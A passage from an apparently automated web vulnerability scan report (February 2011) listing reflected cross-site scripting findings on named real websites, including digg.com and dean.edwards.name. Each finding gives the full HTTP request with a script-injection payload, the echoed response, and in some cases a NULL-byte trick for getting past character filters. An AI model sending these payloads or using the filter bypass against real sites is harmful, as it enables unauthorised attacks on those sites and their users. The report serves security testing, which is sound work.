GET /i/0R8lWflQ0f_326769041.html?rtbhost=rts-rr13.sldc.dataxu.net&btid=NEQ0REM1Q0QwMDA0QTNFOTBBRTU3QjE0RTUzMDI5NkN8ZDA3NTFmYzItZjJkNS00NTY4LTlmMDMtMjJjYjVmZDA3NTU4fDEyOTY5NDI1NDI5NzF8MXwwRnJrVmZKY3hBfDBSOGxXZmxRMGZ8TURvMGxWVzRKS0RNNkxyVkdqdDV2ZUtjdUJINjNiV1F8&ei=GOOGLE_CONTENTNETWORK19116"><script>alert(1)</script>eb6398a7c&wp_exchange=TU3FzQAEo-kK5XsU5TApbEC2JVNdMc7sOaGvXw&euid=Q0FFU0VDSUFxLVBVbW8yVVJpZkRFMzFLLTJB&slotid=MQ&fiu=MEZya1ZmSmN4QQ&ciu=MFI4bFdmbFEwZg&reqid=NEQ0REM1Q0QwMDA0QTNFOTBBRTU3QjE0RTUzMDI5NkM&ccw=SUFCNyMwLjB8SUFCMiMwLjB8SUFCMyMwLjB8SUFCNyMwLjB8SUFCMiMwLjB8SUFCMyMwLjA&epid=&bp=4400&dv=&dm=&dc=&os=&scres=&gen=&age=&zc=NzUyMDc&s=http%3A%2F%2Fwww.orthougm.com%2F&refurl= HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-0813152173226346&output=html&h=60&slotname=3865030659&w=468&lmt=1296964160&flash=10.1.103&hl=en&url=http%3A%2F%2Fwww.orthougm.com%2F&dt=1296942560320&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=8833934355%2C8094259765&correlator=1296942560294&frm=0&adk=2257162608&ga_vid=429166960.1296942499&ga_sid=1296942499&ga_hid=1263121855&ga_fc=1&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=1012&ref=http%3A%2F%2Fwww.orthougm.com%2Fnslookup.html&fu=0&ifi=3&dtd=3&xpc=dnlnsmkeRR&p=http%3A//www.orthougm.com
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchrubicon=1; matchgoogle=1; matchappnexus=1; wfivefivec=MDo0lVW4JKDM6LrVGjt5veKcuBH63bWQ

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:30:40 GMT
Server: w55c.net
Cache-Control: no-cache, no-store
Content-Type: text/html
Accept-Ranges: bytes
Last-Modified: Thu, 06 Jan 2011 16:51:47 GMT
Age: 1116
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.1 cdn.w55c.net (MII JProxy)
Set-Cookie: wfivefivec=MDo0lVW4JKDM6LrVGjt5veKcuBH63bWQ;Path=/;Domain=.w55c.net;Expires=Mon, 04-Feb-13 21:49:16 GMT
P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Nncoection: close
pragma: no-cache
Via: 1.1 mdw061003 (MII-APC/1.6)
Content-Length: 3449

<div style="height: 0; line-height: 0; border: 0; margin: 0; padding: 0; display: none; "><img src="http://rts-rr13.sldc.dataxu.net/x/bcs0?btid=NEQ0REM1Q0QwMDA0QTNFOTBBRTU3QjE0RTUzMDI5NkN8ZDA3NTFmYzItZjJkNS00NTY4LTlmMDMtMjJjYjVmZDA3NTU4fDEyOTY5NDI1NDI5NzF8MXwwRnJrVmZKY3hBfDBSOGxXZmxRMGZ8TURvMGxWVzRKS0RNNkxyVkdqdDV2ZUtjdUJINjNiV1F8&ei=GOOGLE_CONTENTNETWORK19116"><script>alert(1)</script>eb6398a7c&wp_exchange=TU3FzQAEo-kK5XsU5TApbEC2JVNdMc7sOaGvXw" />
...[SNIP]...

4.26. http://cdn.w55c.net/i/0R8lWflQ0f_326769041.html [rtbhost parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0R8lWflQ0f_326769041.html

Issue detail

The value of the rtbhost request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d4721"><script>alert(1)</script>30dfad95144 was submitted in the rtbhost parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0R8lWflQ0f_326769041.html?rtbhost=rts-rr13.sldc.dataxu.netd4721"><script>alert(1)</script>30dfad95144&btid=NEQ0REM1Q0QwMDA0QTNFOTBBRTU3QjE0RTUzMDI5NkN8ZDA3NTFmYzItZjJkNS00NTY4LTlmMDMtMjJjYjVmZDA3NTU4fDEyOTY5NDI1NDI5NzF8MXwwRnJrVmZKY3hBfDBSOGxXZmxRMGZ8TURvMGxWVzRKS0RNNkxyVkdqdDV2ZUtjdUJINjNiV1F8&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TU3FzQAEo-kK5XsU5TApbEC2JVNdMc7sOaGvXw&euid=Q0FFU0VDSUFxLVBVbW8yVVJpZkRFMzFLLTJB&slotid=MQ&fiu=MEZya1ZmSmN4QQ&ciu=MFI4bFdmbFEwZg&reqid=NEQ0REM1Q0QwMDA0QTNFOTBBRTU3QjE0RTUzMDI5NkM&ccw=SUFCNyMwLjB8SUFCMiMwLjB8SUFCMyMwLjB8SUFCNyMwLjB8SUFCMiMwLjB8SUFCMyMwLjA&epid=&bp=4400&dv=&dm=&dc=&os=&scres=&gen=&age=&zc=NzUyMDc&s=http%3A%2F%2Fwww.orthougm.com%2F&refurl= HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-0813152173226346&output=html&h=60&slotname=3865030659&w=468&lmt=1296964160&flash=10.1.103&hl=en&url=http%3A%2F%2Fwww.orthougm.com%2F&dt=1296942560320&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=8833934355%2C8094259765&correlator=1296942560294&frm=0&adk=2257162608&ga_vid=429166960.1296942499&ga_sid=1296942499&ga_hid=1263121855&ga_fc=1&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=1012&ref=http%3A%2F%2Fwww.orthougm.com%2Fnslookup.html&fu=0&ifi=3&dtd=3&xpc=dnlnsmkeRR&p=http%3A//www.orthougm.com
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchrubicon=1; matchgoogle=1; matchappnexus=1; wfivefivec=MDo0lVW4JKDM6LrVGjt5veKcuBH63bWQ

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:30:40 GMT
Server: w55c.net
Set-Cookie: wfivefivec=MDo0lVW4JKDM6LrVGjt5veKcuBH63bWQ;Path=/;Domain=.w55c.net;Expires=Mon, 04-Feb-13 21:49:12 GMT
Nncoection: close
P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Accept-Ranges: bytes
Last-Modified: Thu, 06 Jan 2011 16:51:47 GMT
Content-Type: text/html
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.1 cdn.w55c.net (MII JProxy)
Age: 1112
Cache-Control: no-cache, no-store
pragma: no-cache
Via: 1.1 mdw061004 (MII-APC/1.6)
Content-Length: 3451

<div style="height: 0; line-height: 0; border: 0; margin: 0; padding: 0; display: none; "><img src="http://rts-rr13.sldc.dataxu.netd4721"><script>alert(1)</script>30dfad95144/x/bcs0?btid=NEQ0REM1Q0QwMDA0QTNFOTBBRTU3QjE0RTUzMDI5NkN8ZDA3NTFmYzItZjJkNS00NTY4LTlmMDMtMjJjYjVmZDA3NTU4fDEyOTY5NDI1NDI5NzF8MXwwRnJrVmZKY3hBfDBSOGxXZmxRMGZ8TURvMGxWVzRKS0RNNkxyVkdqdDV2ZUtjdUJINjNiV1F8
...[SNIP]...

4.27. http://cdn.w55c.net/i/0R8lWflQ0f_326769041.html [wp_exchange parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0R8lWflQ0f_326769041.html

Issue detail

The value of the wp_exchange request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8a8c2"><script>alert(1)</script>adc13858a3b was submitted in the wp_exchange parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0R8lWflQ0f_326769041.html?rtbhost=rts-rr13.sldc.dataxu.net&btid=NEQ0REM1Q0QwMDA0QTNFOTBBRTU3QjE0RTUzMDI5NkN8ZDA3NTFmYzItZjJkNS00NTY4LTlmMDMtMjJjYjVmZDA3NTU4fDEyOTY5NDI1NDI5NzF8MXwwRnJrVmZKY3hBfDBSOGxXZmxRMGZ8TURvMGxWVzRKS0RNNkxyVkdqdDV2ZUtjdUJINjNiV1F8&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TU3FzQAEo-kK5XsU5TApbEC2JVNdMc7sOaGvXw8a8c2"><script>alert(1)</script>adc13858a3b&euid=Q0FFU0VDSUFxLVBVbW8yVVJpZkRFMzFLLTJB&slotid=MQ&fiu=MEZya1ZmSmN4QQ&ciu=MFI4bFdmbFEwZg&reqid=NEQ0REM1Q0QwMDA0QTNFOTBBRTU3QjE0RTUzMDI5NkM&ccw=SUFCNyMwLjB8SUFCMiMwLjB8SUFCMyMwLjB8SUFCNyMwLjB8SUFCMiMwLjB8SUFCMyMwLjA&epid=&bp=4400&dv=&dm=&dc=&os=&scres=&gen=&age=&zc=NzUyMDc&s=http%3A%2F%2Fwww.orthougm.com%2F&refurl= HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-0813152173226346&output=html&h=60&slotname=3865030659&w=468&lmt=1296964160&flash=10.1.103&hl=en&url=http%3A%2F%2Fwww.orthougm.com%2F&dt=1296942560320&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=8833934355%2C8094259765&correlator=1296942560294&frm=0&adk=2257162608&ga_vid=429166960.1296942499&ga_sid=1296942499&ga_hid=1263121855&ga_fc=1&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=1012&ref=http%3A%2F%2Fwww.orthougm.com%2Fnslookup.html&fu=0&ifi=3&dtd=3&xpc=dnlnsmkeRR&p=http%3A//www.orthougm.com
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchrubicon=1; matchgoogle=1; matchappnexus=1; wfivefivec=MDo0lVW4JKDM6LrVGjt5veKcuBH63bWQ

Response

4.28. http://connect.in.com/kochupusthakam/blog/malayalam-kambi-kathakal-kochu-pusthakam-hot-stories-08e6ccaa51723198405bf5af8bd98aab75c93754.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://connect.in.com
Path:	/kochupusthakam/blog/malayalam-kambi-kathakal-kochu-pusthakam-hot-stories-08e6ccaa51723198405bf5af8bd98aab75c93754.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 37075"><a>62ad8f466de was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /kochupusthakam37075"><a>62ad8f466de/blog/malayalam-kambi-kathakal-kochu-pusthakam-hot-stories-08e6ccaa51723198405bf5af8bd98aab75c93754.html HTTP/1.1
Host: connect.in.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache/2.2.4 (Unix)
Pragma: no-cache
nnCoection: close
Content-Type: text/html
Cache-Control: no-cache, no-store, must-revalidate, post-check=0, pre-check=0
Expires: Sat, 05 Feb 2011 21:51:08 GMT
Date: Sat, 05 Feb 2011 21:51:08 GMT
Content-Length: 27769
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Cont
...[SNIP]...
<meta name="description" content="Kochupusthakam37075"><a>62ad8f466de: MALAYALAM KAMBI KATHAKAL, KOCHU PUSTHAKAM. kambi kathakal kochupusthakam kambi kathakal kochupusthakam kambi kathakal kochupusthakam malayalam sex stories. MALAYALAM MASALA STORIES, MASALA VIDEOS. NI
...[SNIP]...

4.29. http://connect.in.com/kochupusthakam/blog/malayalam-kambi-kathakal-kochu-pusthakam-hot-stories-08e6ccaa51723198405bf5af8bd98aab75c93754.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://connect.in.com
Path:	/kochupusthakam/blog/malayalam-kambi-kathakal-kochu-pusthakam-hot-stories-08e6ccaa51723198405bf5af8bd98aab75c93754.html

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 76add<a>35d4dfe19df was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /kochupusthakam76add<a>35d4dfe19df/blog/malayalam-kambi-kathakal-kochu-pusthakam-hot-stories-08e6ccaa51723198405bf5af8bd98aab75c93754.html HTTP/1.1
Host: connect.in.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache/2.2.4 (Unix)
Pragma: no-cache
nnCoection: close
Content-Type: text/html
Cache-Control: no-cache, no-store, must-revalidate, post-check=0, pre-check=0
Expires: Sat, 05 Feb 2011 21:51:15 GMT
Date: Sat, 05 Feb 2011 21:51:15 GMT
Content-Length: 27761
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Cont
...[SNIP]...
<a href="/kochupusthakam76adda35d4dfe19df/profile.html">Kochupusthakam76add<a>35d4dfe19df</a>
...[SNIP]...

4.30. http://dean.edwards.name/weblog/2006/03/base/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://dean.edwards.name
Path:	/weblog/2006/03/base/

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload %006e9cc<a>d0254a6f966 was submitted in the REST URL parameter 1. This input was echoed as 6e9cc<a>d0254a6f966 in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

Request

GET /weblog%006e9cc<a>d0254a6f966/2006/03/base/ HTTP/1.1
Host: dean.edwards.name
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Sun, 06 Feb 2011 16:04:53 GMT
Server: Apache/2.2.6 (Win32) PHP/5.2.5
X-Powered-By: PHP/5.2.5
Vary: Accept-Encoding
Content-Length: 1643
Connection: close
Content-Type: text/html; charset=utf-8

<!doctype html>
<html>
<head>
<title>/404</title>
<meta name="author" content="Dean Edwards">
<link rel="stylesheet" href="http://deanedwardsoffline.appspot.com/c
...[SNIP]...
<a>d0254a6f966/">weblog%006e9cc<a>d0254a6f966</a>
...[SNIP]...

4.31. http://dean.edwards.name/weblog/2006/03/base/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://dean.edwards.name
Path:	/weblog/2006/03/base/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %005d974"><script>alert(1)</script>c01828428ea was submitted in the REST URL parameter 1. This input was echoed as 5d974"><script>alert(1)</script>c01828428ea in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

Request

GET /weblog%005d974"><script>alert(1)</script>c01828428ea/2006/03/base/ HTTP/1.1
Host: dean.edwards.name
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Sun, 06 Feb 2011 16:04:52 GMT
Server: Apache/2.2.6 (Win32) PHP/5.2.5
X-Powered-By: PHP/5.2.5
Vary: Accept-Encoding
Content-Length: 1789
Connection: close
Content-Type: text/html; charset=utf-8

<!doctype html>
<html>
<head>
<title>/404</title>
<meta name="author" content="Dean Edwards">
<link rel="stylesheet" href="http://deanedwardsoffline.appspot.com/c
...[SNIP]...
<a href="/weblog%005d974"><script>alert(1)</script>c01828428ea/2006/">
...[SNIP]...

4.32. http://dean.edwards.name/weblog/2006/03/base/ [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://dean.edwards.name
Path:	/weblog/2006/03/base/

Issue detail

The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 39526<a>384b191b99b was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /weblog/2006/03/base39526<a>384b191b99b/ HTTP/1.1
Host: dean.edwards.name
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Sun, 06 Feb 2011 16:04:58 GMT
Server: Apache/2.2.6 (Win32) PHP/5.2.5
X-Powered-By: PHP/5.2.5
X-Pingback: http://dean.edwards.name/weblog/xmlrpc.php
Expires: Sun, 06 Feb 2011 16:04:58 GMT
Last-Modified: Sun, 06 Feb 2011 16:04:58 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 1351
Connection: close
Content-Type: text/html; charset=UTF-8

<!doctype html>
<html>
<head>
<title>dean.edwards.name/weblog/</title>
<meta name="author" content="Dean Edwards">
<link rel="stylesheet" href="http://deanedwards
...[SNIP]...
</a>/base39526<a>384b191b99b/</h1>
...[SNIP]...

4.33. http://dean.edwards.name/weblog/2006/03/base/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://dean.edwards.name
Path:	/weblog/2006/03/base/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8af36"><script>alert(1)</script>770fc1d9d40 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 8af36\"><script>alert(1)</script>770fc1d9d40 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /weblog/2006/03/base/?8af36"><script>alert(1)</script>770fc1d9d40=1 HTTP/1.1
Host: dean.edwards.name
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:04:48 GMT
Server: Apache/2.2.6 (Win32) PHP/5.2.5
X-Powered-By: PHP/5.2.5
X-Pingback: http://dean.edwards.name/weblog/xmlrpc.php
Link: <http://dean.edwards.name/weblog/?p=66>; rel=shortlink
Expires: Sun, 06 Feb 2011 16:04:49 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 176151

<!doctype html>
<html>
<head>
<title>Dean Edwards: A Base Class for JavaScript Inheritance</title>
<meta name="author" content="Dean Edwards">
<link rel="styleshe
...[SNIP]...
<form class="contact" action="/weblog/2006/03/base/?8af36\"><script>alert(1)</script>770fc1d9d40=1#preview" method="post">
...[SNIP]...

4.34. http://digg.com/submit [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://digg.com
Path:	/submit

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %009da6c"><script>alert(1)</script>d18492e2c89 was submitted in the REST URL parameter 1. This input was echoed as 9da6c"><script>alert(1)</script>d18492e2c89 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

Request

GET /submit%009da6c"><script>alert(1)</script>d18492e2c89 HTTP/1.1
Host: digg.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:01:22 GMT
Server: Apache
X-Powered-By: PHP/5.2.9-digg8
Cache-Control: no-cache,no-store,must-revalidate
Pragma: no-cache
Set-Cookie: traffic_control=1168415921484595456%3A180; expires=Mon, 07-Feb-2011 16:01:22 GMT; path=/; domain=digg.com
Set-Cookie: d=3e0917fe7fe8fd0acf4c1eeedf77ce194c85aeb0dd072779f425315961ae5aeb; expires=Sat, 06-Feb-2021 02:09:02 GMT; path=/; domain=.digg.com
X-Digg-Time: D=209054 10.2.129.90
Vary: Accept-Encoding
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 15618

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>error_ - Digg</title>

<meta name="keywords" content="Digg, pictures, breaking news, entertainment, politics, technology
...[SNIP]...
<link rel="alternate" type="application/rss+xml" title="Digg" href="/submit%009da6c"><script>alert(1)</script>d18492e2c89.rss">
...[SNIP]...

4.35. http://download32.us.intellitxt.com/al.asp [jscallback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://download32.us.intellitxt.com
Path:	/al.asp

Issue detail

The value of the jscallback request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload c219f%3balert(1)//7aec04d590a was submitted in the jscallback parameter. This input was echoed as c219f;alert(1)//7aec04d590a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /al.asp?ts=20110205214821&adid=126828%2C0%2C3841%2C121057%2C0%2C0%2C0&cc=us&di=29848192%2C29951564%2C29471372%2C29167950%2C30018856%2C29875388%2C29651480&hk=1&ipid=18400&mh=57f4673cf4ad79544ac753cf0dd004c8&pid=2%2C2%2C2%2C2%2C2%2C2%2C2&pvm=8cc57e88ff824e9e3d4bdb25eca56ba9&pvu=4E02CE94902A497D8EBF5C1016534811&rcc=us&so=0&syid=0%2C0%2C0%2C0%2C0%2C0%2C0&uf=0%2C0%2C0%2C0%2C0%2C0%2C0&ur=0%2C0%2C0%2C0%2C0%2C0%2C0&kp=430%2C971%3B168%2C1189%3B238%2C1238%3B337%2C1717%3B479%2C2214%3B509%2C2742%3B346%2C4628%3B&prf=ll%3A2635%7Cintl%3A2738%7Cpreprochrome%3A2%7Cgetconchrome%3A251%7Ccontint%3A3224%7Ccontl%3A6220%7Cadvint%3A351%7Cadvl%3A6571%7Ctl%3A6773&jscallback=$iTXT.js.callback19c219f%3balert(1)//7aec04d590a HTTP/1.1
Host: download32.us.intellitxt.com
Proxy-Connection: keep-alive
Referer: http://www.download32.com/nslookup-software.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VM_PIX="AQAAAAEAAAQVAQAAAAEAAAEtqga0igAAAAAy/bdY"; VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63gEAAAEt98uhdQA-

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: private
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Set-Cookie: VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63gEAAAEt98uhdQA-; Domain=.intellitxt.com; Expires=Wed, 06-Apr-2011 22:24:31 GMT; Path=/
Content-Type: text/javascript
Content-Length: 66
Date: Sat, 05 Feb 2011 22:24:31 GMT
Connection: close

try{$iTXT.js.callback19c219f;alert(1)//7aec04d590a();}catch(e){}

4.36. http://download32.us.intellitxt.com/iframescript.jsp [src parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://download32.us.intellitxt.com
Path:	/iframescript.jsp

Issue detail

The value of the src request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f646d"><script>alert(1)</script>a066d7a2f43 was submitted in the src parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /iframescript.jsp?src=http%3A%2F%2Fpixel.intellitxt.com%2Fpixel.jsp%3Fid%3D2773%2C2770%2C2765%2C2794%2C2792%2C2795%2C2763%2C2764%26type%3Dscript%26ipid%3D18400%26sfid%3D0f646d"><script>alert(1)</script>a066d7a2f43 HTTP/1.1
Host: download32.us.intellitxt.com
Proxy-Connection: keep-alive
Referer: http://www.download32.com/nslookup-software.html
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VM_PIX="AQAAAAEAAAQVAQAAAAEAAAEtqga0igAAAAAy/bdY"; VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63gEAAAEt98uhdQA-

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: private
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Content-Type: text/html
Content-Length: 225
Date: Sat, 05 Feb 2011 22:24:19 GMT
Connection: close

<html><body><script src="http://pixel.intellitxt.com/pixel.jsp?id=2773,2770,2765,2794,2792,2795,2763,2764&type=script&ipid=18400&sfid=0f646d"><script>alert(1)</script>a066d7a2f43" language="javascript">
...[SNIP]...

4.37. http://download32.us.intellitxt.com/intellitxt/front.asp [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://download32.us.intellitxt.com
Path:	/intellitxt/front.asp

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 24d8b'-alert(1)-'5f3e446269e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /intellitxt/front.asp?ipid=18400&24d8b'-alert(1)-'5f3e446269e=1 HTTP/1.1
Host: download32.us.intellitxt.com
Proxy-Connection: keep-alive
Referer: http://www.download32.com/nslookup-software.html
Accept: */*
